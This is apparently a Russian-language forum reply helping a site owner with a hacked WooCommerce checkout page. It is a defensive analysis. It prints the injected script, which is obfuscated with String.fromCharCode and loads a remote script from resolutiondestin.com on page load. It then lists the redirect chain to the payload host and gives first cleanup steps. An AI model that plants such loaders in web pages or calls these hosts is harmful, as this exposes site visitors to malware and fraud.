maximka3222, нашёл:
<label for="billing_script_script" class=""><script type=text/javascript>(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,104,101,99,107,46,114,101,115,111,108,117,116,105,111,110,100,101,115,116,105,110,46,99,111,109,47,106,115,99,46,106,115,63,116,61,102);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();</script> <span class="optional">(необязательно)</span></label>
<span class="woocommerce-input-wrapper"><textarea name="billing_script_script" class="input-text " id="billing_script_script" placeholder="" rows="2" cols="5"data-qa-id="<script type=text/javascript>(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,104,101,99,107,46,114,101,115,111,108,117,116,105,111,110,100,101,115,116,105,110,46,99,111,109,47,106,115,99,46,106,115,63,116,61,102);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();</script>"></textarea></span>
Обращение к https̹://check.resolutiondestin.com/jsc.js?t=f , оттуда подтягивается https̹://tds.resolutiondestin.com/hfjdfgs , далее https̹://result.resolutiondestin.com/r.php?o=fhjdsr&n=356767698566&j=4583421u , затем https̹://result.resolutiondestin.com/r.php?id=456456456&f=es5sr6d , после этого https̹://result.resolutiondestin.com/r.php?id=9876541234&f=ghgjdfxt , затем http̹://url-partners.g2afse.com/sl?id=5c9c22a68d8a11003d0000a2&pid=9824&sub2=subscribe0 (на этой стадии грузится уже пейлоад).
Короче, чистите сайт. В первую очередь желательно логи посмотреть (если это недавно началось), изолировать сайт и выполнить инструкции по ссылке, что дал Юрий. Это самые первые шаги.
